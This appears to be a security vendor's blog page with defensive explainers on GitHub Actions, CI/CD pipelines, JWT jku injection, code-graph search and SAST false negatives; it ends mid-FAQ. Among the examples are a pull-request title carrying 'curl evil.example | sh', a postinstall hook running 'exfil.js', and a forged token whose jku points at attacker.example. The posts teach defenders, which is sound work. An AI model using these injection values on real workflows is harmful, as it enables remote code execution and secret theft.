Author: UnboundCompute

  • GitHub Actions Security Explained

    GitHub Actions Security Explained

    A CI workflow is code that runs on every push, and like any code it can be tricked into doing something it should not. GitHub Actions security is about the gap between what a workflow author thinks a job does and what an attacker can make it do with a crafted pull request, branch name, or issue title. This post walks through the five ways a workflow on GitHub turns exploitable, shows a small vulnerable job, and gives the fix for each one.

    Why GitHub Actions security is easy to get wrong

    A workflow file looks like a config, so people read it like a config. But a job runs on a machine with a token, sometimes with your secrets in the environment, and it often runs code that came from outside your team. The moment untrusted input meets a privileged run step, you have a real vulnerability. The five patterns below cover most of what goes wrong.

    • The pull_request_target trigger that runs with write access while checking out untrusted code.
    • Script injection through workflow expressions that paste attacker text into a shell.
    • A GITHUB_TOKEN that has far more permission than the job needs.
    • Third party actions pinned to a floating tag instead of a commit SHA.
    • Secrets that leak to pull requests opened from forks.

    The pull_request_target trap

    The pull_request trigger runs in a restricted context: a fork’s pull request gets a read only token and no access to your secrets. That is the safe default. The pull_request_target trigger is different. It runs in the context of the base repository, so the job gets a read write token and can read your secrets, even when the pull request comes from a stranger’s fork.

    That alone is fine, because pull_request_target checks out your trusted base branch by default. The danger is when a workflow uses that privileged trigger and then explicitly checks out the attacker’s code:

    name: build-pr
    on: pull_request_target
    jobs:
      build:
        runs-on: ubuntu-latest
        steps:
          - uses: actions/checkout@v4
            with:
              ref: ${{ github.event.pull_request.head.sha }}
          - run: npm install && npm run build

    Now the job runs a stranger’s npm install scripts with a write token and your secrets in reach. A malicious pull request ships a package.json install hook that reads GITHUB_TOKEN and pushes a commit, or exfiltrates a deploy key. This is the classic shape of poisoned pipeline execution, and you can read a deeper treatment in poisoned pipeline execution.

    The fix

    If the job does not need write access or secrets, use plain pull_request. If you genuinely need to run something privileged, split it: one unprivileged workflow builds the untrusted code and uploads an artifact, and a separate trusted workflow handles anything that touches secrets. Never check out and run fork code inside a pull_request_target job.

    Script injection through workflow expressions

    GitHub expands ${{ ... }} expressions before your shell ever sees the line. So this run step does not echo a variable. It pastes the raw title of the pull request straight into the script that runs on the runner:

    - run: echo "New PR: ${{ github.event.pull_request.title }}"

    An attacker sets the title of their pull request to something like a"; curl evil.example | sh; echo ". After expansion the runner executes an attacker chosen command. The same problem exists for any field a stranger controls: branch names, commit messages, issue bodies, review comments. These are all untrusted input that the expression engine will happily inline.

    Any ${{ }} value that a person outside your team can set is untrusted input, and pasting it into a run step is the same class of bug as SQL injection.

    The fix

    Never inline an untrusted expression into a shell line. Bind it to an environment variable, then reference the variable with normal shell quoting so the value stays data and never becomes code:

    - env:
        PR_TITLE: ${{ github.event.pull_request.title }}
      run: echo "New PR: $PR_TITLE"

    Now GitHub sets PR_TITLE as a plain string in the environment. The shell reads it as one quoted value. The title a"; curl evil.example | sh; echo " is printed as text, not run.

    Over broad GITHUB_TOKEN permissions

    Every workflow run gets an automatic GITHUB_TOKEN. Depending on repository settings, its default scope can be read and write across the whole repository. A job that only needs to read code should not hold a token that can push branches, edit issues, or publish packages. If that job is ever compromised through one of the patterns above, the blast radius is whatever the token can do.

    Set the permission to the least the job needs, at the top of the workflow or per job:

    permissions:
      contents: read

    Start from nothing and add back only what a step actually uses. A job that comments on a pull request adds pull-requests: write and nothing else. This is the single change that limits damage when something else fails.

    Unpinned third party actions

    When you write uses: some/action@v3, the tag v3 is a moving pointer. The owner of that action, or anyone who compromises their account, can move v3 to point at new code, and your next run executes it with your token and secrets. You reviewed one version and silently got another.

    Pin third party actions to a full commit SHA, which is immutable, and keep the tag in a comment for humans:

    - uses: some/action@e3b0c44298fc1c149afbf4c8996fb924 # v3.1.0

    A SHA cannot be moved under you. To stay current, let a bot open pull requests that bump the SHA, so every update is a diff you review before it runs. First party actions from actions/ carry less risk, but pinning them is still the safer habit.

    Secrets exposed to forks

    Secrets are the prize. A deploy key, a cloud credential, or a package registry token in a workflow environment is exactly what an attacker wants out of your CI. Two rules keep them safe. First, GitHub already withholds secrets from pull_request runs on forks, so do not defeat that by moving fork handling into pull_request_target. Second, treat every secret as reachable by any code the job runs, including dependency install scripts and third party actions, so never run untrusted code in a job that holds a secret.

    Watch for the quieter leak too. A secret that gets committed to the repository, even briefly, lives on in the history where a workflow no longer guards it. For that problem see secrets in git history.

    A short checklist

    Here is a concrete before and after. The vulnerable job below uses the privileged trigger, inlines an untrusted title, and holds a wide token:

    on: pull_request_target
    jobs:
      greet:
        steps:
          - run: echo "Thanks ${{ github.event.pull_request.title }}"

    The fixed job drops the trigger, quotes the value through an env var, and narrows the token:

    on: pull_request
    permissions:
      contents: read
    jobs:
      greet:
        steps:
          - env:
              TITLE: ${{ github.event.pull_request.title }}
            run: echo "Thanks $TITLE"

    The habits that hold across all five patterns:

    • Least privilege token. Default to contents: read and add scopes one at a time.
    • Pin actions by SHA. Never trust a floating tag for third party code.
    • Never mix untrusted code and secrets in the same job.
    • Validate and quote inputs. Route every attacker controlled expression through an env var.

    These same ideas apply to runners you host yourself, which have their own exposure covered in self-hosted runner security, and to the wider pipeline discussed in CI/CD pipeline security. For more teardowns of this kind, browse our deep dives.

    Most of these bugs come from an assumption the workflow author never wrote down: that a title is just text, that a tag stays put, that a token is harmless. Testing the assumptions an application makes, rather than a fixed list of payloads, is exactly the kind of work an autonomous researcher is built for, and you can read how we think about it on our about page.

    Frequently asked questions

    What is the difference between pull_request and pull_request_target?

    The pull_request trigger runs a fork’s code in a restricted context with a read only token and no secrets, which is the safe default. The pull_request_target trigger runs in the base repository context, so the job gets a read write token and can read your secrets even for a stranger’s pull request. It becomes dangerous when a workflow uses it and then checks out the fork’s untrusted code.

    How does script injection happen in a GitHub Actions workflow?

    GitHub expands ${{ ... }} expressions before the shell sees the line, so a run step that inlines ${{ github.event.pull_request.title }} pastes the raw title into the script. An attacker sets a title like a"; curl evil.example | sh; echo " and the runner executes their command. The fix is to bind the value to an environment variable and reference it with normal shell quoting so it stays data.

    Why should I pin GitHub actions to a commit SHA instead of a tag?

    A tag like v3 is a moving pointer. The action’s owner, or anyone who compromises their account, can move it to point at new code that runs with your token and secrets, so you review one version and get another. A full commit SHA is immutable and cannot be changed under you. Keep the tag in a comment and let a bot open pull requests that bump the SHA so every update is reviewed.

    How do I stop GitHub Actions secrets from leaking to forks?

    GitHub already withholds secrets from pull_request runs on forks, so do not defeat that by moving fork handling into pull_request_target. Treat every secret as reachable by any code the job runs, including dependency install scripts and third party actions, so never run untrusted code in a job that holds a secret. Also keep the automatic GITHUB_TOKEN scoped to the least the job needs.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • CI/CD Pipeline Security Explained

    CI/CD Pipeline Security Explained

    Your build and deploy pipeline is one of the most valuable targets in your whole stack, and it rarely gets the attention it deserves. Good CI/CD pipeline security matters because the pipeline holds your secrets, runs with broad permissions, and ships output that every downstream system trusts on sight. This post walks the main risk areas at a survey level, gives one concrete example for each, and names the defense, then points you to the deep dives that go all the way down.

    Why CI/CD pipeline security is a high value target

    Think about what a build job can touch. It reads your private source code. It holds tokens that push to your registry, deploy to production, and comment on pull requests. It signs releases. Then it produces an artifact, a container image or a package, that your servers pull and run without asking a single question. An attacker who lands inside a build gets all of that at once.

    The trust is the real prize. If someone slips a change into what your pipeline outputs, every machine that pulls that output runs the change for them. No phishing, no lateral movement, just one poisoned build that fans out everywhere.

    The pipeline is the shortest path from one line of attacker code to every server you own, because everything downstream already trusts what it produces.

    The good news is that the risk areas are well understood, and each one has a plain defense. Here they are, one at a time.

    Untrusted input running in a privileged build

    The most common opening is a pull request from outside your team. Many pipelines build and test pull requests automatically, which means code you did not write runs on your infrastructure the moment it is proposed. If that build has access to secrets, a contributor can add one line to a build script and read them.

    Here is the shape of the problem. A workflow runs a script the pull request itself controls:

    on: pull_request
    jobs:
      test:
        runs-on: ubuntu-latest
        steps:
          - uses: actions/checkout@v4
          - run: ./scripts/test.sh   # this file comes from the fork

    Whoever opened the pull request wrote test.sh. If the job can see a deploy token, their script can print it, encode it, and send it out. This class of bug is called poisoned pipeline execution, and it is worth understanding on its own. The defense: run untrusted pull requests in a job with no secrets and read only permissions, and require a human to approve before any privileged step touches fork code. Read the full walkthrough in poisoned pipeline execution.

    Secrets exposed to jobs

    Pipelines run on secrets, so secrets end up scattered across them: registry passwords, cloud keys, signing tokens. The mistake is handing every job the whole set. A test job that only needs to run unit tests does not need production deploy keys, but it often gets them because the secrets sit at the top of the file for all jobs to share.

    A single leak makes this concrete. A build step logs its environment for debugging:

    - run: env | sort   # prints AWS_SECRET_ACCESS_KEY into the build log

    Now the key sits in a log that many people can read, and logs are easy to forget. The defense: scope each secret to the one job that needs it, never the whole workflow, and mask secrets in logs. Rotate anything that a build has ever printed. A related trap is secrets that were committed to the repository long ago and are still sitting in the git history where a build, or anyone with clone access, can find them. That is its own topic in secrets in git history.

    Dependency and package risk entering the build

    Every build pulls in code from outside. Your package.json or requirements.txt lists direct dependencies, and each of those drags in more, until a small app installs hundreds of packages nobody on your team has read. Any one of them runs during the install, which is exactly when a malicious package strikes.

    The classic version uses a lifecycle script. A package defines an install hook that runs on its own:

    "scripts": {
      "postinstall": "node exfil.js"
    }

    The moment you run npm install, that script executes with whatever access the build has. No import, no call, just installing the package is enough. The defense: pin dependencies to exact versions with a lockfile so a package cannot change under you, review new additions, and consider disabling install scripts where you can. The mechanics are laid out in malicious npm lifecycle scripts.

    Self-hosted runner exposure

    Hosted runners are fresh and thrown away after each job. A self-hosted runner, a machine you own that picks up build jobs, is different. It is long lived, it may sit inside your network, and if you are not careful it reuses state between jobs. That combination is dangerous when it also builds untrusted pull requests, because one job can leave something behind for the next one to find, or reach systems that should never be reachable from a build.

    Picture a runner in your office network that builds public pull requests. A contributor’s build runs a quick scan:

    - run: curl http://10.0.0.5:8500/v1/kv/?recurse   # internal service, now reachable

    A machine that should only compile code just read an internal key value store. The defense: keep self-hosted runners off untrusted pull requests, isolate them from your internal network, and treat each job as disposable by rebuilding the environment every time. Ephemeral runners that are destroyed after one job remove most of this risk.

    The trust placed in build artifacts

    The last area is the output itself. When your pipeline pushes an image tagged latest to a registry, your servers pull it and run it. Nothing checks that the image came from a clean build of the code you think it did. If an attacker can push to that registry, or tamper with a build, the bad artifact inherits all the trust of a good one.

    A concrete gap: your deploy pulls registry.example/app:latest by tag. Two builds can produce that same tag, and the servers cannot tell a real one from a swapped one. The defense: generate provenance for every build, a signed record of what was built, from which commit, by which pipeline, and verify that record before you deploy. Pin to content digests, not moving tags, so you always run the exact bytes you meant to.

    Putting it together

    None of these defenses are exotic. Least privilege tokens, secrets scoped to one job, pinned dependencies, isolated runners, and signed provenance are all things you can start on this week. The reason they get skipped is that a pipeline feels like plumbing, not like an attack surface, right up until it is the thing that gets used. Treat it as production, because it has production’s keys.

    Each area above is a survey. The real detail lives in the dedicated posts, and the platform specific traps in GitHub Actions security are worth a full read if that is where you build. For the longer teardowns of how these bugs actually get exploited and fixed, browse our deep dives.

    Pipelines break in exactly the way UnboundCompute is built to study: not a known payload, but an assumption the system quietly trusts, like a build believing its input is safe. That is the kind of gap an autonomous researcher that tests assumptions goes looking for, and you can read how we think about it on our about page.

    Frequently asked questions

    What is CI/CD pipeline security?

    CI/CD pipeline security is the practice of protecting the systems that build, test, and deploy your software. The pipeline holds secrets, runs with broad permissions, and produces artifacts that every downstream server trusts, so a single break can spread everywhere. The main work is limiting what each job can touch, keeping untrusted input away from privileged steps, and verifying what the pipeline ships.

    Why is a build pipeline such a valuable target?

    A build job reads your private source, holds tokens that deploy to production and push to your registry, and produces output that servers pull and run without checking. An attacker who lands inside one build gets all of that at once, and because everything downstream trusts the output, one poisoned build can fan out to every machine that pulls it.

    How do pull requests put a pipeline at risk?

    Many pipelines build and test pull requests automatically, which runs code you did not write on your infrastructure. If that job can see secrets, a contributor can add one line to a build script and read them. The fix is to run untrusted pull requests with no secrets and read only permissions, and to require human approval before any privileged step touches fork code.

    What are the main defenses for CI/CD pipeline security?

    Give each job the least privilege it needs, scope secrets to the single job that uses them, pin dependencies to exact versions with a lockfile, isolate self-hosted runners and rebuild them every job, and generate signed provenance for artifacts so you can verify what you deploy. None of these are exotic, and you can start on all of them this week.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • JWT jku Header Injection Explained

    JWT jku Header Injection Explained

    A JSON Web Token carries a header, and that header is allowed to tell the server where to find the key that checks the token. JWT jku header injection is what happens when a server believes that instruction. The attacker signs a token with a private key they generated this morning, points the jku field at a key file they host, and the server dutifully fetches it and confirms the signature is valid. It really is valid. That is the problem.

    What is the jku header supposed to do?

    The jku parameter is a URL that points at a JWK Set, a JSON document listing the public keys an issuer signs with. RFC 7515 defines it so that a verifier which does not already hold the issuer’s key can go and get it. The idea sounds reasonable in a federated world where many issuers rotate keys on their own schedule and nobody wants to redeploy a config file every ninety days.

    A token is three base64url segments joined by dots: header.payload.signature. A header carrying a key location looks like this:

    header
    {
      "alg": "RS256",
      "typ": "JWT",
      "kid": "acme-2026-04",
      "jku": "https://auth.acme.example/.well-known/jwks.json"
    }
    
    payload
    { "sub": "1042", "role": "user", "exp": 1893456000 }

    And the JWKS at that URL holds the matching public key:

    {
      "keys": [
        { "kty": "RSA", "kid": "acme-2026-04", "use": "sig",
          "n": "0vx7agoebGcQSuu...", "e": "AQAB" }
      ]
    }

    Here is the detail everything else follows from. The signature covers the header and the payload. It cannot cover the key, because the key is the thing doing the covering. So jku sits in a segment the attacker can rewrite freely, and rewriting it does not break anything the verifier would notice.

    How JWT jku header injection actually works

    The attack is four steps and needs no cryptographic weakness at all. Picture a fictional app, Acme Notes, whose API gateway reads jku and fetches it.

    • Generate a key pair. The attacker makes their own RSA key pair on a laptop. Nothing about it is secret from them, which is the entire point.
    • Publish the public half. They write a JWKS file containing that public key, give it a kid, and host it at a URL they own.
    • Forge the claims. They take a real token, change "role": "user" to "role": "admin", and set jku to their own URL.
    • Sign it. They sign the forged token with their private key and send it to Acme Notes.

    The gateway decodes the header, reads jku, makes an outbound request, parses the JWKS, matches on kid, and runs the RSA verification. It succeeds, because the token was signed by the private half of exactly that public key. The gateway logs a successful verification from a trusted algorithm and admits an administrator who does not exist.

    attacker sends
    header    { "alg": "RS256", "kid": "evil-1",
                "jku": "https://attacker.example/jwks.json" }
    payload   { "sub": "1", "role": "admin" }
    signature = RSA_sign(header.payload, attacker_private_key)

    Note what did not happen. Nobody broke RS256. Nobody stole Acme’s private key. The algorithm stayed honest the whole way through. Only the answer to “which key” moved, and that answer came from the token.

    Why does a passing signature mean nothing here?

    Because a signature check answers a narrower question than most people read into it. It answers: was this data signed by the holder of the private key matching the public key I was given. It does not answer: is that public key one I should trust. Those are two separate decisions, and only the second one is authentication.

    Verifying a signature against a key the attacker chose is like checking a passport against a stamp the traveller brought with them.

    This is the same shape as SAML signature wrapping, where the cryptography is also flawless and the failure is that the verified thing and the trusted thing are not the same thing. In both cases the audit log looks clean, because from the code’s point of view nothing went wrong.

    The jwk and x5u headers are the same bug in different clothes

    Two sibling header parameters fail the same way, and a fix that only closes jku leaves the door open.

    • jwk embeds the public key directly in the header instead of linking to it. The attacker does not even need to host a file. They paste their own public key into the token and sign with the matching private key. If the verifier uses the embedded key, every token becomes self certifying.
    • x5u points at a URL holding an X.509 certificate or chain. Same fetch, same attacker controlled destination, just wrapped in certificate format. A server that walks the chain without checking it terminates at a certificate authority it actually trusts is in the same position.

    RFC 7515 does say a verifier using jku or x5u must fetch over TLS. That helps nothing here. TLS proves you reached the host named in the URL. The attacker owns that host, so the certificate is genuine and the connection is honest. Transport security cannot rescue a trust decision that was wrong before the request went out.

    How do you prevent this attack?

    The short version: the verifier decides which key to use, never the token. Everything below is a way of enforcing that.

    • Pin the JWKS URL in server configuration. Your service should already know its issuer’s key endpoint, fetch it on its own schedule, and cache the result. There is no reason to read a location out of client input.
    • Reject tokens that carry jku, jwk, or x5u at all. If your design does not use these parameters, their presence is a signal worth alerting on, not a field to ignore quietly.
    • Allowlist exact URLs if you truly need dynamic issuers. Compare the full URL, scheme, host and path, against a short fixed list before any fetch. Host only matching gets defeated by an open redirect or a URL parser disagreement.
    • Validate kid against a known key set. Treat it as an index into a table of keys you already hold, not as a filename or a query fragment. Unknown id means reject, not go looking.
    • Pin the algorithm too. Pass an explicit allow list such as ["RS256"] to the verify call so a swapped alg is refused before any key lookup starts.
    • Test it directly. Send a token with jku pointed at a host you control and see whether an outbound request arrives. That single observation tells you everything.

    Those last two overlap with a related family worth understanding separately. Lying about the algorithm, through alg set to none or an RS256 token replayed as HS256, is covered in our post on JWT algorithm confusion. One bug lies about how the token is checked. The one here lies about what it is checked against. A service can have either, both, or neither, so test them as separate questions.

    The assumption underneath

    Every one of these header parameters exists because a spec author imagined a cooperative issuer supplying helpful metadata. That assumption is invisible in the code. What a reviewer sees is a verify call with a real algorithm and a real signature, and it looks finished. The question nobody writes down is where the key came from and who chose it, which is exactly the kind of assumption an autonomous researcher built to probe an app’s beliefs, rather than replay known payloads, is meant to surface and then prove with evidence. More on that approach on our about page.

    Frequently asked questions

    What is JWT jku header injection?

    It is an attack where a token’s jku header names the URL a server fetches its verification key from. The attacker hosts a JWK Set containing their own public key, signs the token with the matching private key, and the server verifies it successfully against a key the attacker chose.

    Why does the signature check still pass?

    A signature check only proves the data was signed by whoever holds the private key matching the public key supplied to the verifier. It says nothing about whether that public key belongs to a trusted issuer. When the token picks the key, a passing check proves only that the attacker can sign their own tokens.

    How are the jwk and x5u headers related?

    They are the same failure in a different format. The jwk parameter embeds a public key directly in the header, so the attacker does not even need to host a file, and x5u points at a URL holding an X.509 certificate chain. A fix that closes only jku leaves both of these open.

    How do you prevent it?

    Never take key material from the token. Pin the JWKS URL in server configuration and fetch it on your own schedule, reject tokens carrying jku, jwk, or x5u if you do not use them, allowlist exact URLs if you must be dynamic, validate kid against a known key table, and pin the accepted algorithms on the verify call.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • Grep vs a Code Graph for Finding Bugs

    Grep vs a Code Graph for Finding Bugs

    Reach for grep and you are matching characters. Reach for a code graph and you are matching meaning. This post is about that gap, and why semantic code search over a real parse of the code finds security bugs that plain text search walks straight past.

    grep matches text, not meaning

    grep is a text tool. You give it a string or a pattern, it scans lines, and it prints the lines that match. That is exactly what you want when you know the literal thing you are looking for. A config value, a hardcoded URL, a function name you are sure of, a first look at a strange file. grep is fast, it runs everywhere, and it never needs to understand the language. For those jobs it is the right tool and nothing beats it.

    The trouble starts when the question is not about a string. Security review is almost never about a string. It is about movement. Who calls this function. What value reaches this query. Can attacker input get to this sink. Those questions are about the structure of the program, and structure is the one thing raw text does not carry.

    Four places plain text search quietly fails

    Here are four failures you hit in real review work. None of them are exotic. They show up in ordinary code every week.

    1. A rename hides a live caller

    Say a helper used to be called get_user and someone renamed it to load_user. You are auditing callers of the old function because you remember it skipped an authorization check. You run:

    grep -rn "get_user" .

    You get a handful of comments and one stale doc string. The real caller now reads load_user(req.user_id), and grep never shows it, because the characters get_user are simply not there anymore. The dangerous call is live in the running app and invisible to your search. You did not find zero callers. You found zero matches, and you read that as safe.

    2. A value arrives through an alias

    Taint travels through variables. The source name and the sink almost never sit on the same line.

    raw = request.args.get("path")
    target = raw
    full = os.path.join(BASE, target)
    open(full)

    You grep for request.args near open( and get nothing useful, because by the time the value reaches open it is called full, and one hop earlier it was target. The text at the sink contains none of the source text. A path traversal bug sits right there and a text search cannot connect the two ends.

    3. A wrapper or indirect call hides the real target

    Code rarely calls the dangerous function by its plain name at the dangerous spot.

    def run(cmd):
        return subprocess.run(cmd, shell=True)
    
    run(user_input)

    Grep for subprocess.run and you find the wrapper, not the risky call site that passes user input into it. Grep for shell=True and you find the definition, but not the caller that makes it dangerous. The two facts that matter, tainted input and a shell execution, live in different functions joined by a call. Text search sees two unrelated lines.

    4. The same string appears everywhere

    Now the opposite problem. You search for eval( and get forty hits. Most are in tests. Some are in a comment warning people not to use it. A few are in a dead code path behind a feature flag that has been off for a year. Exactly one is a real reachable sink. grep cannot tell a live sink from a comment from dead code, because all four look identical as text. You are left reading forty lines by hand to find the one that runs.

    What semantic code search does instead

    A code graph is built from a real parse of the code, the same kind of parse a compiler does. Functions, calls, parameters, assignments, and the edges between them become nodes you can query. Because the graph knows what a call is and not just what it looks like, semantic code search answers the questions text cannot.

    • Who calls this? The graph follows call edges, so a renamed function still shows every live caller. This is call graph analysis, and it does not care what the string used to be.
    • What flows into this parameter? The graph tracks assignments, so it walks raw to target to full and reports that a request value reaches open. That is source to sink dataflow analysis.
    • Is this sink reachable? The graph knows which nodes sit in live code and which sit in a test or a dead branch, so it can drop the noise that buries a real finding.
    • What is the real target of this call? The graph resolves the wrapper to the function it actually reaches, so run(user_input) lines up with the shell=True execution inside it.

    The structure that makes this work has a name. It is a code property graph, a parse of the program plus the call and data edges laid on top, queried as one graph.

    Text search asks whether a string is present. A code graph asks whether a path exists. Security bugs live on paths, not in strings.

    The rename example, run both ways

    Take the rename from failure one and make it concrete. The old function was get_user, now it is load_user, and one caller still passes a raw id without an ownership check.

    # search.py
    def load_user(uid):
        return db.query("SELECT * FROM users WHERE id = " + uid)
    
    # report.py
    row = load_user(params["id"])

    Run grep -rn "get_user" . and you get nothing. The name is gone, so the audit comes back empty and you move on. Ask a code graph “who calls load_user” and it returns report.py with the exact call site, then follows params["id"] into the raw SQL string and flags the injection. Same code, same bug. One tool reported clean because the text changed, the other found the path because the structure did not.

    The public engine we build on is lachesis, a code graph over Python, TypeScript, JavaScript, and C, built from a real parse so a rename or an alias does not break the answer.

    Use both, and know where each stops

    This is not grep versus everything. grep is the right first move on any codebase. It is instant, it is universal, and for a literal string or a config value it is perfect. Keep using it. The point is narrow and it matters: the moment your question turns into who calls this, what flows here, is this reachable, you have left the ground where text search can answer. Those questions are about data movement, and data movement is structure, and structure needs a parse.

    A good workflow uses grep to get oriented in seconds and a code graph to reason about the paths that decide whether a bug is real. For more on that split, read scanners vs research. Reasoning over a real code graph is the ground UnboundCompute is built on, an autonomous researcher that follows how an app actually moves data rather than matching the text of a payload. You can read how we think about it on our about page.

    Frequently asked questions

    What is the difference between grep and semantic code search?

    grep matches characters. You give it a string or a pattern and it prints matching lines, with no idea what the code means. Semantic code search runs over a code graph built from a real parse of the program, so it answers questions about structure like who calls this function and what value reaches this sink, which plain text cannot see.

    Why does grep miss a caller after a function is renamed?

    grep only finds the text you type. If a helper was renamed from get_user to load_user, searching for get_user returns nothing even though a live caller still exists under the new name. A code graph follows call edges instead of text, so it lists every real caller no matter what the function is now called.

    Can grep follow tainted input from a source to a sink?

    Not reliably. Once a value passes through an alias or a variable, the text at the sink no longer contains the source name, so a text search cannot join the two ends. A code graph tracks assignments and call edges, so it can trace a request value across several hops into a dangerous function.

    Is grep still useful for security work?

    Yes. grep is fast, universal, and perfect for a literal string, a config value, or a first look at an unfamiliar file. It stops being enough when the question turns into who calls this, what flows here, or is this sink reachable, because those are about data movement and structure, which needs a real parse.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • Static Analysis False Negatives: The Bugs SAST Misses

    Static Analysis False Negatives: The Bugs SAST Misses

    A false positive wastes an hour. A false negative can cost you a breach, because the tool told you a piece of code was clean when it was not. This post is about static analysis false negatives, the real bugs a scanner stays silent on, why silence is more dangerous than noise, and what it takes to actually prove a bug is not there rather than just fail to find it.

    Why static analysis false negatives are the worse failure

    Its twin, the false positive, is loud. It shows up in your backlog, annoys a developer, and gets closed. A false negative makes no sound at all. The scan goes green, the pull request merges, and everyone moves on believing the code was checked. That green check is the danger. It replaces “we do not know” with “we are safe,” and the team ships on false confidence. If you want the noisy side of the story, we cover it in why SAST has false positives. Here we walk the quiet side: five reasons a static tool misses a real bug, each with a short example.

    Cause one: the sink is not in the tool’s list

    A static scanner only flags a dangerous call if that call is on a list it carries. Injection detection works by knowing that db.execute or os.system is a place tainted input must never land. If your dangerous call is a wrapper the tool has never seen, there is no rule to fire.

    def run_shell(cmd):
        # thin wrapper the team wrote around subprocess
        return _spawn(cmd, shell=True)
    
    def handler(request):
        host = request.args.get("host")
        run_shell("ping -c 1 " + host)

    The user controls host, it flows straight into a shell, and this is a command injection. But the sink is run_shell, an internal helper, not the built in call the scanner watches for. The tool sees a function call it has no opinion about and moves on. The bug is real and the report is empty. Every codebase grows its own wrappers, and each one the catalog does not know is a blind spot.

    Cause two: dynamic dispatch hides the real call target

    Static analysis has to connect the place a value comes from to the place it is used. When the actual function called is chosen at run time, through reflection, a function pointer, or a lookup table, the tool often cannot tell which function runs, so it never draws the edge that would carry the taint.

    ACTIONS = {"save": save_note, "export": export_note}
    
    def dispatch(request):
        name = request.args.get("action")
        data = request.args.get("data")
        ACTIONS[name](data)   # which function is this?

    If export_note writes data into a file path or a query without cleaning it, that is the bug. But the call goes through a dictionary keyed by a string, so the analysis cannot always prove which function is on the other end. To avoid a wrong guess it connects nothing, and the tainted flow into export_note is never traced. Reflection by name, virtual methods, and function pointers all produce the same broken link.

    Cause three: framework and config behavior the parser never sees

    Modern apps put a lot of behavior outside the code the parser reads line by line. Routes are wired by decorators or a config file. Input arrives through a callback the framework invokes. An ORM turns a method call into SQL somewhere the tool cannot follow.

    # the framework calls this by name from a route table
    @route("/upload/")
    def upload(user_id):
        path = STORAGE + "/" + user_id
        open(path, "wb").write(request.data)

    Here user_id comes from the URL and lands in a file path, so a value like ../../etc/cron.d/x writes outside the storage folder. That is a path traversal. But the scanner may never register that upload is an entry point at all, because the route is bound by a decorator string it does not model. If the function looks like dead code that nobody calls, its input never counts as attacker controlled, and the flaw stays invisible.

    Cause four: the value crosses a boundary the analysis does not follow

    Most static tools reason inside one process and often inside one function at a time. The moment a value leaves through a queue, a cache, a file, or a call to another service, the thread of the analysis is cut. What comes back out the other side looks brand new and untainted.

    # service A
    queue.push(request.args.get("payload"))
    
    # service B, a different file or process
    job = queue.pop()
    os.system("convert " + job)

    The user controls payload in service A. It rides a queue to service B and gets concatenated into a shell command. End to end this is a clean command injection, but no single function holds both halves. The tool analyzing service B sees job arrive from queue.pop() with no visible source, treats it as trusted, and says nothing. Values that round trip through Redis, a database column, or a call to a sibling service disappear from the taint graph the same way.

    A false positive tells you a lie you can check. A false negative tells you a lie you will only discover when someone exploits it.

    Cause five: logic and access control bugs have no sink to match

    The four causes above are all missed connections in a flow the tool would flag if it could see it. This last one is different, and it is the hardest. Some of the worst bugs have no dangerous call anywhere, nothing malformed, no pattern to grab.

    @route("/api/invoices/")
    def get_invoice(invoice_id):
        inv = Invoice.query.get(invoice_id)
        return inv.to_json()   # never checks who owns it

    A user who owns invoice 41 requests GET /api/invoices/42 and reads someone else’s invoice. The query is safe, the input is a clean integer, and the response is a normal 200. This is broken access control, one of the most common serious bugs in real apps, and pattern matching has nothing to catch on. There is no sink, no tainted string, no known bad shape. The bug is the missing check, and you cannot pattern match an absence. We go deeper on this in why SAST misses business logic.

    The coverage versus noise tradeoff, honestly

    Here is the part vendors do not say out loud. False positives and false negatives pull against each other. Tune a scanner to report every possible sink and you catch more real bugs while you drown the team in noise. Tune it to stay quiet and the backlog gets clean while the miss rate climbs. Cutting false positives too aggressively is exactly how you buy more false negatives. A tool tuned to look calm on a dashboard is often one that has been told to stay silent.

    So the goal is not a quieter tool or a louder one. It is a tool that reports fewer maybes because it can prove more. Two things move that line:

    • Reachability, done for real. Instead of matching a sink shape, follow the specific value through the specific branches and prove attacker input arrives at a real dangerous call. That both drops false positives and, done properly across wrappers and call boundaries, finds the flows a shallow scan cut short. We explain the mechanics in reachability analysis for security.
    • Reasoning about intent for the logic bugs. The invoice case is invisible to any pattern engine. Catching it means understanding what the app is for, that an invoice belongs to an owner, that a request should be checked against that owner, and then testing whether the check exists. That is reasoning, not matching.

    What this means for how you read a green scan

    Treat a clean static result as “no known pattern fired,” not “no bug here.” The wrapper it did not know, the dispatch it could not resolve, the route bound in config, the value that crossed a queue, and the access check that was never written are all still on the table after the scan goes green. A finding you can defend points at a source, a sink, and the path between them. Silence proves none of that.

    This is the gap we build for at UnboundCompute. It learns how an app is meant to work, forms ideas about where that logic breaks, and proves a finding with real evidence before reporting it, the same discipline that separates a missed bug from a caught one. More of this thinking lives under scanners vs research, and you can read how we approach it on our about page.

    Frequently asked questions

    What is a false negative in static analysis?

    A false negative is a real bug that a static scanner does not report. The scan looks clean, so the code appears checked when it was not. This is more dangerous than a false positive because it replaces honest uncertainty with false confidence, and the team ships believing the code is safe.

    Why are false negatives worse than false positives?

    A false positive is loud. It lands in your backlog, wastes a developer an hour, and gets closed. A false negative makes no sound at all. Nobody knows the bug is there until someone exploits it. The quiet green check is exactly why a missed bug does more damage than a noisy one, which we cover in why SAST has false positives.

    Why does static analysis miss real vulnerabilities?

    Common reasons include a dangerous call the tool does not know about, a call target hidden behind dynamic dispatch or reflection, routes and behavior bound by framework config the parser never sees, values that cross a queue or another service and break the taint trail, and logic bugs like broken access control that have no dangerous sink to match.

    How do you reduce static analysis false negatives?

